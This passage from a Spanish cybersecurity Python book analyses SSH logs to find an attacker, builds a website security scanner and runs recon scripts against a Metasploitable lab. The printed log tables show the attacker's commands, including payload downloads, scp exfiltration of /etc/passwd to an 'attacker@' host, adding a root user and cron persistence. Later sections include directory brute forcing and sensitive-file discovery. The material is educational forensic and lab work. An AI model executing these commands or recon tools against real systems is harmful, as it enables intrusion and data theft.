connection_type == 'failed_login' else 'green')

node_colors = nx.get_node_attributes(G, 'color').values()


edge_colors = nx.get_edge_attributes(G, 'color').values()
edge_weights = [G[u][v]['weight'] for u, v in [Link]()]

[Link](figsize=(14, 7))
pos = nx.spring_layout(G)
[Link](G, pos, with_labels=True, node_color=list(node_colors),
edge_color=list(edge_colors), width=edge_weights, node_size=700, font_size=10,
font_color='black', font_weight='bold')
[Link]('Network Graph of SSH Connections')
[Link]()

ahora mostremos en rojo, quienes tuvieron login fallidos

In [56]:
import networkx as nx
G = [Link]()

for index, row in [Link]():


source_ip = row['ip']
target_host = row['host']
connection_type = row['event_type']

if source_ip and connection_type != 'Unknown':

315
G.add_node(source_ip, color='red' if connection_type == 'failed_login' else
'green')
G.add_node(target_host, color='blue') # El color del host puede ser azul, por
ejemplo
G.add_edge(source_ip, target_host, color='red' if connection_type ==
'failed_login' else 'green')

node_colors = nx.get_node_attributes(G, 'color').values()


edge_colors = nx.get_edge_attributes(G, 'color').values()

[Link](figsize=(14, 7))
pos = nx.spring_layout(G)
[Link](G, pos, with_labels=True, node_color=node_colors, edge_color=edge_colors,
node_size=700, font_size=10, font_color='black', font_weight='bold')
[Link]('Network Graph of SSH Connections')
[Link]()
G = [Link]()

Veamos los intentos fallidos de la IP [Link] en el tiempo

In [57]:
# Filtrar intentos de acceso fallidos
failed_attempts = df[(df['event_type'] == 'failed_login') & (df['ip'] ==
'[Link]')]

# Graficar intentos fallidos por IP a lo largo del tiempo


[Link](figsize=(15, 6))
[Link](data=failed_attempts, x='date', y=failed_attempts.index,
drawstyle='steps-post')
[Link]("Failed Login Attempts Over Time for Specific IP")
[Link]("Date")
[Link]("Attempts")
[Link]()

316
Grafiquemos los intentos fallidos en el tiempo

In [58]:
# Graficar todos los intentos fallidos
failed_attempts_all = df[df['event_type'] == 'failed_login']

[Link](figsize=(14, 6))
[Link](data=failed_attempts_all, x='date', y=failed_attempts_all.index,
drawstyle='steps-post')
[Link]("Failed Login Attempts Over Time")
[Link]("Date")
[Link]("Attempts")
[Link]()

Estadísticas por IPS

In [59]:
# Contar intentos por IP
ip_counts = df[df['event_type'] ==
'accepted_login'].groupby('ip').size().reset_index(name='login_count')

# IPs con más ingresos

317
top_ips = ip_counts.nlargest(10, 'login_count')

# IPs con menos ingresos


bottom_ips = ip_counts.nsmallest(10, 'login_count')

# Gráficos
[Link](figsize=(14, 6))
[Link](1, 2, 1)
[Link](data=top_ips, x='login_count', y='ip', palette='Blues_r')
[Link]("Top 10 IPs with Most Logins")
[Link]("Login Count")

[Link](1, 2, 2)
[Link](data=bottom_ips, x='login_count', y='ip', palette='Reds_r')
[Link]("Top 10 IPs with Least Logins")
[Link]("Login Count")

plt.tight_layout()
[Link]()

C:\Users\starh\AppData\Local\Temp\ipykernel_23192\[Link]: FutureWarning:

Passing `palette` without assigning `hue` is deprecated and will be removed in v0.14.0.
Assign the `y` variable to `hue` and set `legend=False` for the same effect.

Ahora, usemos IsolationForest es un algoritmo de detección de anomalías que utiliza un enfoque


basado en árboles de decisión para identificar puntos de datos que son significativamente diferentes del
resto del conjunto de datos.

In [60]:
from [Link] import IsolationForest
# Contar intentos fallidos por IP
failed_attempts_by_ip =
failed_attempts_all.groupby('ip').size().reset_index(name='failed_count')

318
# Detección de anomalías
model = IsolationForest(contamination=0.05)# El modelo asume que el 5% de los datos
son anomalías.
failed_attempts_by_ip['anomaly'] =
model.fit_predict(failed_attempts_by_ip[['failed_count']]) # ajusta el modelo a los
datos (aprende de los patrones normales) y luego realiza la predicción para cada
dato.
failed_attempts_by_ip['is_anomaly'] = failed_attempts_by_ip['anomaly'] == -1

# Gráfico de anomalias
[Link](figsize=(12, 6))
[Link](data=failed_attempts_by_ip, x='failed_count', y='ip', hue='is_anomaly',
dodge=False, palette={True: "red", False: "blue"})
[Link]("Failed Login Attempts with Anomaly Detection")
[Link]("Failed Count")
[Link]("IP")
[Link]()

aquí filtramos por la ip que ya detectamos que fue la atacante

In [62]:
filtered_df = df[ (df['ip'] == '[Link]')]
filtered_df

Out[62]:

ho event_typ
date user ip command
st e

319
2
Nov 01 ser cuenta_ser 103.113.10
0 failed_login NaN
19:52:57 ver vicio2 5.228
0

2
Nov 01 ser cuenta_ser 103.113.10
0 failed_login NaN
00:00:39 ver vicio2 5.228
1

2
Nov 01 ser cuenta_ser 103.113.10
0 failed_login NaN
23:28:21 ver vicio2 5.228
2

2
Nov 01 ser cuenta_ser 103.113.10
0 failed_login NaN
22:33:02 ver vicio2 5.228
3

2
Nov 01 ser cuenta_ser 103.113.10
0 failed_login NaN
11:51:13 ver vicio2 5.228
4

... ... ... ... ... ... ...

3
Nov 03 ser cuenta_ser 103.113.10 sudo_com tar -czvf /tmp/[Link]
6
23:53:15 ver vicio2 5.228 mand /var/www/html
2

3
Nov 03 ser cuenta_ser 103.113.10 sudo_com scp /tmp/[Link]
6
23:54:17 ver vicio2 5.228 mand attacker@111.70.4...
3

3 echo
Nov 03 ser cuenta_ser 103.113.10 sudo_com
6 'malicious_user:x:0:0::/root:/bin/b
23:53:17 ver vicio2 5.228 mand
4 ash' >...

3
Nov 03 ser cuenta_ser 103.113.10 sudo_com
6 nohup /tmp/[Link] &
23:50:09 ver vicio2 5.228 mand
5

320
3
Nov 03 ser cuenta_ser 103.113.10 sudo_com echo '* * * * * root
6
23:51:31 ver vicio2 5.228 mand /tmp/[Link]' >> /etc/...
6

67 rows × 6 columns

filtramos solo por los comandos y tenemos la linea de tiempo

In [64]:
filtered_df2 = df[ (df['event_type'] == 'sudo_command')]
filtered_df2

Out[64]:

ho event_typ
date user ip command
st e

3
Nov 03 ser cuenta_ser 103.113.10 sudo_com
5 whoami
23:52:28 ver vicio2 5.228 mand
0

3
Nov 03 ser cuenta_ser 103.113.10 sudo_com
5 uname -a
23:50:38 ver vicio2 5.228 mand
1

3
Nov 03 ser cuenta_ser 103.113.10 sudo_com
5 ifconfig
23:53:59 ver vicio2 5.228 mand
2

3
Nov 03 ser cuenta_ser 103.113.10 sudo_com
5 netstat -tuln
23:50:17 ver vicio2 5.228 mand
3

3
Nov 03 ser cuenta_ser 103.113.10 sudo_com
5 cat /etc/passwd
23:53:31 ver vicio2 5.228 mand
4

3
Nov 03 ser cuenta_ser 103.113.10 sudo_com wget [Link] -O
5
23:53:34 ver vicio2 5.228 mand /tmp/[Link]
5

321
3
Nov 03 ser cuenta_ser 103.113.10 sudo_com curl -o /tmp/[Link]
5
23:53:32 ver vicio2 5.228 mand [Link]
6

3
Nov 03 ser cuenta_ser 103.113.10 sudo_com tar -xzf /tmp/[Link] -C
5
23:50:18 ver vicio2 5.228 mand /tmp/
7

3
Nov 03 ser cuenta_ser 103.113.10 sudo_com
5 sudo -l
23:52:57 ver vicio2 5.228 mand
8

3
Nov 03 ser cuenta_ser 103.113.10 sudo_com
5 sudo su
23:53:48 ver vicio2 5.228 mand
9

3
Nov 03 ser cuenta_ser 103.113.10 sudo_com
6 chmod +s /bin/bash
23:53:53 ver vicio2 5.228 mand
0

3
Nov 03 ser cuenta_ser 103.113.10 sudo_com scp /etc/passwd
6
23:53:50 ver vicio2 5.228 mand attacker@[Link]:/stolen-...
1

3
Nov 03 ser cuenta_ser 103.113.10 sudo_com tar -czvf /tmp/[Link]
6
23:53:15 ver vicio2 5.228 mand /var/www/html
2

3
Nov 03 ser cuenta_ser 103.113.10 sudo_com scp /tmp/[Link]
6
23:54:17 ver vicio2 5.228 mand attacker@111.70.4...
3

3 echo
Nov 03 ser cuenta_ser 103.113.10 sudo_com
6 'malicious_user:x:0:0::/root:/bin/b
23:53:17 ver vicio2 5.228 mand
4 ash' >...

3
Nov 03 ser cuenta_ser 103.113.10 sudo_com
6 nohup /tmp/[Link] &
23:50:09 ver vicio2 5.228 mand
5

322
3
Nov 03 ser cuenta_ser 103.113.10 sudo_com echo '* * * * * root
6
23:51:31 ver vicio2 5.228 mand /tmp/[Link]' >> /etc/...
6

Episodio III - El Analizador de Sitios Web


Siempre digo que mirar una página web desde afuera es como mirar un planeta desde la órbita. Te muestra
su forma, su color, sus nubes… pero los detalles finos... las grietas, la temperatura, el terreno inestable...
solo los ves si bajas un poco más.

Este capítulo trata justamente de eso, de crear nuestro propio scanner, hecho 100% en Python, que nos
permite evaluar la seguridad básica de un sitio web: HTTPS, encabezados, XSS, WAF, reputación de IP,
TLS, malware…

Vamos recorriendo cada función como si fuera una herramienta del cinturón de un Jedi digital.

Importación de Librerías
Antes de partir, cargamos nuestras armas:

In [65]:
import requests
import [Link] as plt
import ssl
import socket
import numpy as np

url = "[Link] # url que nos servirá de prueba

Nada raro, pero cada una será clave en este viaje.

¿Tiene HTTPS? El mínimo decente de seguridad


Explicación simple, Si usa HTTPS, sumamos 1 punto. Si no… bueno, no hay mucho que explicar... es
inseguro.

In [66]:
# Función para evaluar HTTPS
def check_https(url):
if [Link]('https'):
return 1
else:
return 0

323
check_https(url)

Out[66]:
1

Los encabezados de seguridad


Aquí revisamos si existen los headers:

●​ Strict-Transport-Security
●​ Content-Security-Policy

En palabras simples, esto evita muchos ataques web comunes. Si los tiene 1 punto, Si no 0 puntos.

In [71]:
# función para evaluar encabezados de seguridad
def check_security_headers(url):
try:
response = [Link](url)
headers = [Link]
print(headers)
if 'Strict-Transport-Security' in headers and 'Content-Security-Policy' in
headers:
return 1
else:
return 0
except:
return 0
check_security_headers(url)

{'Date': 'Sun, 30 Nov 2025 03:29:38 GMT', 'Server': 'Apache/2.4.6 (CentOS)',


'Strict-Transport-Security': 'max-age=31536000; preload', 'Vary': 'Host',
'Accept-Ranges': 'bytes', 'Keep-Alive': 'timeout=5, max=100', 'Connection':
'Keep-Alive', 'Transfer-Encoding': 'chunked', 'Content-Type': 'text/html;
charset=utf-8'}

Out[71]:
0

Antivirus del navegador para ataques de script


Esto bloquea ataques simples de Cross-Site Scripting. Hoy en día es medio antiguo, pero todavía lo usamos
como indicador.

In [72]:
# Función para evaluar si tiene protección contra XSS (Simplificada)
def check_xss_protection(url):
try:

324
response = [Link](url)
headers = [Link]
print(headers)
if 'X-XSS-Protection' in headers and headers['X-XSS-Protection'] == '1;
mode=block':
return 1
else:
return 0
except:
return 0
check_xss_protection(url)

Out[72]:
0

Detectar si hay un WAF de forma simple


La función revisa los encabezados típicos de WAF, palabras dentro del cuerpo HTML y códigos de error tipo
403

In [73]:
# Verificación si el sitio web tiene un WAF (Basado en encabezados comunes de WAF)
def check_waf(url):
try:
response = [Link](url)
headers = [Link]
body = [Link]()
waf_indicators = [
'x-waf', 'cf-ray', 'x-firewall', 'x-sucuri', 'x-distil-cs', # Encabezados
comunes
'x-cdn', 'x-recaptcha', 'x-amz-cf-id', #
Cloudflare/Amazon
'x-iinfo', 'akamai', 'incapsula', 'bigip', 'f5', #
Akamai/Incapsula/F5
'mod_security', 'x-px', 'nsfocus', 'fortiguard', #
ModSecurity/Nsfocus
'sitelock', 'waf', 'edgecast', 'imunify360', # Otros WAF
conocidos
]

# Verificar encabezados HTTP


for header in headers:
if any(indicator in [Link]() for indicator in waf_indicators):
return 1

# Verificar contenido del cuerpo de la respuesta


if any(indicator in body for indicator in waf_indicators):
return 1

# Verificar estado HTTP específico (por ejemplo, 403 Forbidden)


if response.status_code == 403:

325
return 1
else:
return 0 # No se detectó WAF
except Exception as e:
print(f"Error verificando WAF: {e}")
return 0

check_waf(url)

Out[73]:
0

¿El sitio obliga a usar HTTPS siempre?


Esto evita que un atacante degrade la conexión a HTTP... En español es, el HTTPS es obligatorio pase lo
que pase.

In [75]:
# Verificación de HSTS
def check_hsts(url):
try:
response = [Link](url)
headers = [Link]
if 'Strict-Transport-Security' in headers:
return 1
else:
return 0
except:
return 0

check_hsts(url)

Out[75]:
1

¿Se redirige automáticamente a HTTPS?


Hay sitios que no tienen HTTPS directo pero sí redirigen. No es lo ideal, pero es aceptable.

In [76]:
# Verificación de redireccion a HTTPS
def check_https_redirect(url):
try:
response = [Link]([Link]("https", "http"))
if [Link]("https"):
return 1
else:
return 0
except:

326
return 0

check_https_redirect(url)

Out[76]:
1

Reputación de la IP.. ¿es una IP oscura?


Esta función revisa AbuseIPDB y devuelve:

●​ 0 si la IP ha sido reportada
●​ 1 si está limpia

sitio: [Link]

In [78]:
# Verificacion de si la IP está reportada en listas negras (AbuseIPDB)
def check_blacklist(ip):
api_key = 'TU_API_AQUI' # Limite 1,000​ diarios
url = f"[Link]
headers = {
'Accept': 'application/json',
'Key': api_key
}

try:
response = [Link](url, headers=headers)
data = [Link]()
if data['data']['abuseConfidenceScore'] > 0:
return 0 # Si hay reporte de abuso, puntúa 0
else:
return 1
except:
return 0

check_blacklist("[Link]")

Out[78]:
1

Pequeño wrapper para simplificar el uso


Devuelve 0 o 1 según si la IP está en blacklist y es más legible para usar en los checks finales.

In [80]:
# Verificación de si la IP está en una lista negra (simplificada)
def check_ip_reported(ip):
blacklisted = check_blacklist(ip)
if blacklisted == 0:

327
return 0 # Si está en lista negra
else:
return 1

check_ip_reported("[Link]")

Out[80]:
1

Qué versión de TLS usa el sitio


TLS moderno debe ser 1.2 o 1.3. Ahora, si usa TLS 1.0 o 1.1 es inseguro.

In [81]:
# Verificación de la versión de TLS
def check_tls_version(url):
try:
hostname = [Link]('[Link] '').replace('[Link] '')
context = ssl.create_default_context()
conn = context.wrap_socket(
[Link](socket.AF_INET),
server_hostname=hostname,
)
[Link]((hostname, 443))
tls_version = [Link]()
[Link]()

# Aceptar solo TLS 1.2 o superior como seguro


if tls_version in ['TLSv1.2', 'TLSv1.3']:
return 1 # 1 si es seguro
else:
return 0 # 0 si es una version insegura
except:
return 0 # 0 si no se puede determinar la version

check_tls_version(url)

Out[81]:
1

Escaneo de malware del sitio web


Cloudmersive analiza la URL y dice:

●​ CleanResult = True --> sitio limpio


●​ False --> malware detectado Esto es otro pedazo de inteligencia externa muy valioso.

sitio: [Link]

In [82]:

328
# Evaluación de seguridad usando Cloud Mersive
def get_cloudmersive_result(url):
api_key = "TU_API_AQUI" # 800 request por mes
if not api_key:
return {'error': 'CLOUDMERSIVE_API_KEY is required for the Cloudmersive check'}

try:
endpoint = '[Link]
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Apikey': api_key,
}
data = f'Url={url}'
# Realizar la solicitud POST
response = [Link](endpoint, data=data, headers=headers)
resp = [Link]()
if resp['CleanResult'] == True:
return 1
else:
return 0
#return [Link]() # Parsear la respuesta como JSON
except Exception as e:
return {'error': f'Request to Cloudmersive failed: {str(e)}'}

get_cloudmersive_result(url)

Out[82]:
1

El puntaje final de seguridad


Esta función resume todo ---> total_score = sum(checks) Como son 9 checks , el puntaje final de 0 a 9.

In [85]:
# Evaluación de seguridad completa
def evaluate_security(url, ip):
checks = [
check_https(url),
check_security_headers(url),
check_xss_protection(url),
check_waf(url),
check_hsts(url),
check_https_redirect(url),
check_ip_reported(ip),
check_tls_version(url),
get_cloudmersive_result(url)
]
total_score = sum(checks)
return total_score

329
Devolver resultados individuales (para graficar)
Esta función entrega:

●​ una lista de 1/0


●​ los nombres de cada test

Se usa para mostrar los gráficos.

In [86]:
def evaluate_security_check(url, ip):
checks = [
check_https(url),
check_security_headers(url),
check_xss_protection(url),
check_waf(url),
check_hsts(url),
check_https_redirect(url),
check_ip_reported(ip),
check_tls_version(url),
get_cloudmersive_result(url)
]

# Títulos para cada verificación


labels = [
"HTTPS",
"Security Headers",
"XSS Protection",
"WAF",
"HSTS",
"HTTPS Redirect",
"IP Reported",
"TLS Version",
"Cloudmersive"
]

return checks, labels

El velocímetro: un gráfico estilo nivel de seguridad


Dibuja un gauge (semicírculo) con colores:

●​ verde (seguro)
●​ amarillo (medio)
●​ rojo (inseguro)

330
La aguja marca tu puntaje.

In [83]:
def plot_gauge(security_score):
# Crear los datos para el gráfico
fig, ax = [Link](figsize=(8, 6), subplot_kw={'projection': 'polar'})

# Definir las secciones del grafico (rojo, amarillo, verde)


theta = [Link](0, [Link], 100)
ax.fill_between(theta, 0, 1, where=(theta <= [Link] / 3), color='green', alpha=0.75)
ax.fill_between(theta, 0, 1, where=([Link] / 3 < theta) & (theta <= 2*[Link] / 3),
color='yellow', alpha=0.75)
ax.fill_between(theta, 0, 1, where=(2*[Link] / 3 < theta), color='red', alpha=0.75)

# Etiquetas y límites
ax.set_yticklabels([])
ax.set_xticks([0, [Link] / 3, 2*[Link] / 3, [Link]])
ax.set_xticklabels(['9', '7', '4', '1'], fontsize=12)

# Puntero de la puntuación
arrow_angle = [Link] - (security_score / 9) * [Link]
[Link]('', xy=(arrow_angle, 0.75), xytext=(0, 0),
arrowprops=dict(facecolor='black', shrink=0.05, width=5))

# Título y mostrar gráfico


ax.set_title(f'Nivel de Seguridad: {security_score}/9', size=15, pad=20)
[Link]()

Gráfico horizontal de cada control


Barras verdes (1) y rojas (0)... Es muy claro y muy didáctico.

In [87]:
def plot_security_checks(checks, labels):
# Verificar que la longitud de checks y labels sea la misma
assert len(checks) == len(labels), "El número de checks debe coincidir con el
número de labels."

# Colores: verde para 1 (aprobado) y rojo para 0 (no aprobado)


colors = ['green' if check == 1 else 'red' for check in checks]

# Crear gráfico de barras


[Link](figsize=(8,6))
[Link](labels, checks, color=colors)

# Añadir etiquetas y título


[Link]('Estado (1 = Aprobado, 0 = No aprobado)')
[Link]('Resultados de Verificación de Seguridad')
[Link](0, 1) # Limite de valores (0 o 1)

# Mostrar la gráfica

331
plt.tight_layout()
[Link]()

Resolver el dominio a su dirección IP real


Es necesario para:

●​ consultar AbuseIPDB
●​ correlacionar reputación con dominio
In [88]:
def domain_to_ip(domain):
# Eliminar "[Link] o "[Link] si existe, para obtener solo el dominio
if [Link]("[Link]
domain = [Link]("[Link] "")
elif [Link]("[Link]
domain = [Link]("[Link] "")

# Eliminar "/" al final si existe


domain = [Link]('/')[0]

try:
ip_address = [Link](domain)
return ip_address
except [Link]:
return "No se pudo resolver el dominio."

In [89]:
url = '[Link]
ip = domain_to_ip(url)

security_score = evaluate_security(url, ip)


plot_gauge(security_score)

{'Date': 'Sun, 30 Nov 2025 04:01:31 GMT', 'Server': 'Apache/2.4.6 (CentOS)',


'Strict-Transport-Security': 'max-age=31536000; preload', 'Vary': 'Host',
'Accept-Ranges': 'bytes', 'Keep-Alive': 'timeout=5, max=100', 'Connection':
'Keep-Alive', 'Transfer-Encoding': 'chunked', 'Content-Type': 'text/html;
charset=utf-8'}

332
In [90]:
checks, labels = evaluate_security_check(url, ip)
plot_security_checks(checks, labels)

{'Date': 'Sun, 30 Nov 2025 04:02:08 GMT', 'Server': 'Apache/2.4.6 (CentOS)',


'Strict-Transport-Security': 'max-age=31536000; preload', 'Vary': 'Host',
'Accept-Ranges': 'bytes', 'Keep-Alive': 'timeout=5, max=100', 'Connection':
'Keep-Alive', 'Transfer-Encoding': 'chunked', 'Content-Type': 'text/html;
charset=utf-8'}

333
Request
Si hay una librería que todo analista de ciberseguridad debería dominar, esa es requests. Requests es como
tener una consola galáctica que te permite hablar con cualquier sitio web, puedes preguntar cosas, revisar
headers, inspeccionar su estado, leer su contenido, y hasta detectar señales de ataque o configuraciones
peligrosas.

Es simple, humana, y poderosa.... así que en este capítulo veremos cómo usar requests con ojos de
seguridad.

Con café en mano, comencemos.

Scanner de Información Básica


Lo primero que un analista debe saber es cómo mirar lo que un sitio devuelve. Los encabezados y el código
de estado ya cuentan una historia.

In [95]:
import requests

url = "[Link]
resp = [Link](url)

print("Status:", resp.status_code)
print("\n---HEADERS---\n")
for k,v in [Link]():
print(k,":",v)

Status: 200

---HEADERS---

Accept-Ranges : bytes
Content-Type : text/html
ETag : "bc2473a18e003bdb249eba5ce893033f:1760028122.592274"
Last-Modified : Thu, 09 Oct 2025 16:42:02 GMT
Vary : Accept-Encoding
Content-Encoding : gzip
Content-Length : 363
Cache-Control : max-age=86000
Date : Sun, 30 Nov 2025 04:16:30 GMT
Connection : keep-alive
Alt-Svc : h3=":443"; ma=93600

334
Tabla: Encabezados HTTP Relevantes para Seguridad

Estas cabeceras ayudan a proteger contra XSS, Clickjacking, MITM, inyecciones y ataques comunes.

Tabla: Códigos HTTP y su Significado

Estos son los códigos que [Link]() te devuelve al consultar un sitio. Son útiles para investigar,
pentesting, OSINT, detección de WAF, etc.

Detectar tecnologías con requests (fingerprinting simple)


Muchos sistemas exponen información accidentalmente:

In [98]:
import requests

url = "[Link]
resp = [Link](url)
techs = ["nginx", "apache", "php", "[Link]", "django", "laravel"]
server = [Link]("Server", "").lower()

335
powered = [Link]("X-Powered-By", "").lower()

print("[*] Tecnologías detectadas: ")


for t in techs:
if t in server or t in powered:
print(" -", t)

[*] Tecnologías detectadas:


- apache

Detectar si un sitio está mal configurado (Security Headers)


Aquí es donde requests se vuelven parte de tu escudo.

In [99]:
def check_header(url, header):
try:
resp = [Link](url)
return header in [Link]
except:
return False

headers_to_check = [
"Strict-Transport-Security",
"Content-Security-Policy",
"X-Frame-Options",
"X-XSS-Protection",
"Referrer-Policy"
]

for h in headers_to_check:
print(h, "-->", check_header(url, h))

Strict-Transport-Security --> False


Content-Security-Policy --> False
X-Frame-Options --> False
X-XSS-Protection --> False
Referrer-Policy --> False

Requests para detectar redirecciones peligrosas


Algunos sitios tienen bucles, otros redirigen a HTTP, otros a dominios sospechosos.

In [100]:
resp = [Link]("[Link] allow_redirects=True)

for h in [Link]:
print(h.status_code, "->", [Link])

print("Final:", [Link])

336
Final: [Link]

Detectar subdominios expuestos


Muchos atacantes enumeran subdominios de una empresa.

In [101]:
subs = ["admin", "panel", "test", "dev", "staging", "old"]

domain = "[Link]"

for sub in subs:


url = f"[Link]
try:
r = [Link](url, timeout=2)
print(url, "->", r.status_code)
except:
print(url, "-> No responde")

[Link] -> No responde


[Link] -> No responde
[Link] -> No responde
[Link] -> No responde
[Link] -> No responde
[Link] -> No responde

Requests para detectar WAF simple


Si un WAF está activo, muchas veces devuelve códigos como 403, o headers especiales.

In [103]:
resp = [Link]("[Link]
waf_signals = ["cf-ray", "sucuri", "incapsula", "bigip", "akamai", "mod_security"]

detected = any(sig in [Link]() or sig in [Link]() for sig in


waf_signals)

print("¿WAF detectado?:", detected)

¿WAF detectado?: False

337
Requests para detectar Malware en la página (heurística
simple)
Los sitios comprometidos muchas veces contienen: iframes ocultos , scripts con URL raras , dominios
extraños. No es un scanner profesional, pero es un muy buen detector rápido.

In [107]:
malicious_words = ["base64", "eval(", "unescape(", "crypto", "payload", "malware"]

content = [Link]("[Link]

for word in malicious_words:


if word in content:
print("Peligro ->", word)
else:
print("[-] OK ")

[-] OK
[-] OK
[-] OK
[-] OK
[-] OK
[-] OK

Requests para OSINT


Ejemplo: verificar si un dominio está caído o activo.

In [108]:
def domain_alive(url):
try:
return [Link](url, timeout=3).status_code < 500
except:
return False
domain_alive(url)

Out[108]:
False

Escaneo simple de directorios (Directory Discovery)


El clásico... probar rutas comunes para ver cuáles existen.

In [109]:
import requests

def discover_paths(base_url, wordlist):


for path in wordlist:

338
url = base_url + path
try:
r = [Link](url, timeout=3)
if r.status_code not in [404]:
print(f"[{r.status_code}] -> {url}")
except:
pass

base_url = "[Link] # Cambia por tu Metasploitable

wordlist = [
"admin/", "phpmyadmin/", "test/", "uploads/", "dvwa/",
"mutillidae/", "webdav/", "cgi-bin/", "config/", "backup/",
]

discover_paths(base_url, wordlist)

[200] -> [Link]


[200] -> [Link]
[200] -> [Link]
[403] -> [Link]

Descubrimiento de archivos sensibles


En Metasploitable esto sirve porque hay... [Link] , mutillidae/[Link] y backups tirados

In [115]:
def discover_files(base_url, files):
for f in files:
url = base_url + f
try:
r = [Link](url, timeout=3)
if r.status_code == 200:
print(f"[FOUND] {url}")
except:
pass

files = [
".env", ".git/config", "[Link]",
"[Link]","[Link]","mutillidae/[Link]",
"[Link]", "[Link]", "[Link]", "[Link]",
]
base_url = "[Link] # Cambia por tu Metasploitable
discover_files(base_url, files)

[FOUND] [Link]
[FOUND] [Link]

339
Crawler simple (recorre links dentro de la página)
Esto ya es nivel mini-spider que recorre todo el sitio, saca enlaces HTML, sirve para DVWA, Mutillidae y
páginas dinámicas.

In [116]:
from bs4 import BeautifulSoup
import requests

visited = set()

def crawl(url):
if url in visited:
return
[Link](url)

try:
r = [Link](url, timeout=3)
except:
return

soup = BeautifulSoup([Link], "[Link]")

print(f"[CRAWL] {url}")

for link in soup.find_all("a", href=True): # busca dentro del html tags con <a
href>
href = link['href']
if [Link]("/"):
href = url + href[1:]
if url in href: # limitar al mismo dominio
crawl(href)

crawl("[Link]

[CRAWL] [Link]
[CRAWL] [Link]
[CRAWL] [Link]
[CRAWL] [Link]
[CRAWL]
[Link]
[Link]
[CRAWL] [Link]
[CRAWL] [Link]

340
Brute Force de directorios con una wordlist externa
Uso típico en pentesting y puedes usar [Link] o [Link] para probar.

Descarga de diccionario:

In [117]:
!curl -L "[Link] -o
[Link]

% Total % Received % Xferd Average Speed Time Time Time Current


Dload Upload Total Spent Left Speed

0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0


100 35849 100 35849 0 0 56683 0 --:--:-- --:--:-- --:--:-- 56812
100 35849 100 35849 0 0 56672 0 --:--:-- --:--:-- --:--:-- 56812

In [118]:
import requests

def brute_dirs(base_url, wordlist_path):


with open(wordlist_path) as f:
for line in f:
dir = [Link]()
url = f"{base_url}/{dir}/"
try:
r = [Link](url, timeout=3)
if r.status_code not in [404]:
print(f"[{r.status_code}] {url}")
except:
pass

brute_dirs("[Link] "[Link]")

[200] [Link]
[403] [Link]
[403] [Link]
[403] [Link]
[403] [Link]
[403] [Link]
[200] [Link]
[200] [Link]
[200] [Link]
[200] [Link]
[200] [Link]
[200] [Link]
[200] [Link]
[200] [Link]
[403] [Link]
[200] [Link]
[200] [Link]

341
Detectar formularios y endpoints POST
Esto es muy útil en Metasploitable (DVWA)

In [120]:
from bs4 import BeautifulSoup
import requests

def find_forms(url):
r = [Link](url)
soup = BeautifulSoup([Link], "[Link]")

forms = soup.find_all("form") # buscamos formularios


print(f"Formularios encontrados en {url}: {len(forms)}")

for form in forms:


action = [Link]("action")
method = [Link]("method", "GET")
print(f" - Acción: {action}, Método: {method}")

find_forms("[Link]

Formularios encontrados en [Link] 1


- Acción: [Link], Método: post

Buscar paneles de login


En Metasploitable encontrarás rutas útiles para practicar.

In [123]:
panels = ["admin", "login", "user", "phpMyAdmin", "wp-admin"]

for p in panels:
url = f"[Link]
try:
r = [Link](url, timeout=3)
if r.status_code not in [404]:
print(f"[LOGIN PANEL] {url} ({r.status_code})")
except:
pass

[LOGIN PANEL] [Link] (200)

Beautifulsoup
Imagina que el código html de una página es como un planeta lleno de estructuras:

●​ templos antiguos (formularios)


●​ pasillos secretos (rutas ocultas)

342
●​ hologramas con mensajes (tablas)
●​ puertas con paneles de acceso (inputs)

Y tu eres un joven padawan Jedi del hacking y necesitas conocer este planeta para poder avanzar. pero
explorar ese planeta manualmente sería como caminar toda unas horas sin saber si habrá resultados....ahí
entra beautifulsoup.

beautifulsoup es como un droide astromecanico R2-D2, no pelea, no rompe nada, pero lee la estructura del
planeta por ti, abre mapas, identifica rutas, detecta paneles ocultos y te dice... por aquí hay un formulario
vulnerable, aquí hay una ruta que nadie debería ver, esta tabla revela datos importantes, este input podría
ser usado para xss, este parámetro podría tener sql injection ...es como tener a un Jedi viendo el codigo,
pero sin usar su sable, solo la fuerza.

ejemplo 1 - extraer todos los links de una pagina (con


comentarios)
In [124]:
import requests
from bs4 import BeautifulSoup # aquí importamos la libreria

# url de ejemplo en metasploitable (mutillidae)


url = "[Link]

# hacemos la petición http


response = [Link](url)

# convertimos el html en un objeto navegable y lo guardamos en la variable soup


soup = BeautifulSoup([Link], "[Link]")

# buscamos todas las etiquetas <a> que tengan el atributo href


for link in soup.find_all("a", href=True):
# obtenemos el texto visible del enlace
text = link.get_text().strip()

# obtenemos la url del enlace


href = link["href"]

print(f"texto: {text} | url: {href}") # imprimimos resultados

texto: Home | url: [Link]?page=[Link]


texto: Login/Register | url: ./[Link]?page=[Link]
texto: Toggle Hints | url: ./[Link]?do=toggle-hints&page=[Link]
texto: Toggle Security | url: ./[Link]?do=toggle-security&page=[Link]
texto: Reset DB | url: [Link]
texto: View Log | url: ./[Link]?page=[Link]
texto: View Captured Data | url: ./[Link]?page=[Link]
texto: Core Controls | url: #
texto: Home | url: [Link]?page=[Link]
texto: Login/Register | url: ./[Link]?page=[Link]

343
texto: Toggle Security | url: ./[Link]?do=toggle-security&page=[Link]
texto: Setup/Reset the DB | url: [Link]
texto: Show Log | url: ./[Link]?page=[Link]
texto: Credits | url: ./[Link]?page=[Link]
texto: OWASP Top 10 | url: #
texto: A1 - Injection | url: [Link]
texto: SQLi - Extract Data | url:
texto: User Info | url: ./[Link]?page=[Link]
texto: SQLi - Bypass Authentication | url:
texto: Login | url: ./[Link]?page=[Link]
texto: SQLi - Insert Injection | url:
texto: Register | url: ./[Link]?page=[Link]
texto: Blind SQL via Timing | url:
texto: Login | url: ./[Link]?page=[Link]
texto: User Info | url: ./[Link]?page=[Link]
texto: SQLMAP Practice Target | url:
texto: View Someones Blog | url: ./[Link]?page=[Link]
texto: User Info | url: ./[Link]?page=[Link]
texto: HTML Injection (HTMLi) | url:
texto: Add to your blog | url: ?page=[Link]
texto: HTMLi via HTTP Headers | url:
texto: Site Footer | url: ./[Link]?page=[Link]
texto: HTTP Response Splitting (Hint: Difficult) | url:
texto: HTMLi Via DOM Injection | url:
texto: HTML5 Storage | url: [Link]?page=[Link]
texto: HTMLi Via Cookie Injection | url:
texto: Capture Data Page | url: [Link]?page=[Link]
texto: Command Injection | url:
texto: DNS Lookup | url: ./[Link]?page=[Link]
texto: JavaScript Injection | url:
texto: Those "Back" Buttons | url: ./[Link]
texto: Password Generator | url:
